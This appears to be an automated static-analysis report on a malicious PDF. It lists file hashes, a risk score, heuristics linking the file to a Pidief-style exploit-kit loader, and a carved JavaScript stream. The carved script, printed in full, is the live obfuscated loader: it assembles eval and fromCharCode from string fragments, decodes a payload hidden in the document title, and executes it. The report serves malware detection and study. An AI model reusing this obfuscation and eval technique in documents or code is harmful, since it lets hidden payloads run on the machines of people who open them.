Malicious PDF — malware analysis report

Static analysis result for SHA-256 b0bf744de0d82e42…

MALICIOUS

PDF

44.9 KB First seen: 2012-10-22
MD5: 84594a31d8c29dec2b750e4e35b271cd SHA-1: 153d1e6254bb69040f67a32848520a6b26e25f02 SHA-256: b0bf744de0d82e423aa86b4299a885ebe267ae60e3a33f005f6acaf9b79b0635
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB0D9 496 bytes
SHA-256: a5bc0d7cd77aedc40a726512c57bdcc55bd8d58b2f0fc5aae221e24fcd810a59
Preview script
First 1,000 lines of the extracted script
sqnev='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+='b'+'st';qqq='split';}
qwe = v[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
s=a[0]+b+a[1]+'l';
e=(t,qwe)()[s];
yqzjv=e('ti'+'tle');
s=yqzjv.substr(t.length + 8,3)+'str';
q=yqzjv[s](1,(1,t.length + 7));
csqss=e(v[0].toUpperCase()+'tring.fro'+q);
q=yqzjv[s](14)[qqq]('c');
k=q.length;
for (i = 0; i != k; i+=2) {
	ren = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	sqnev += csqss(ren);
}
e(sqnev);

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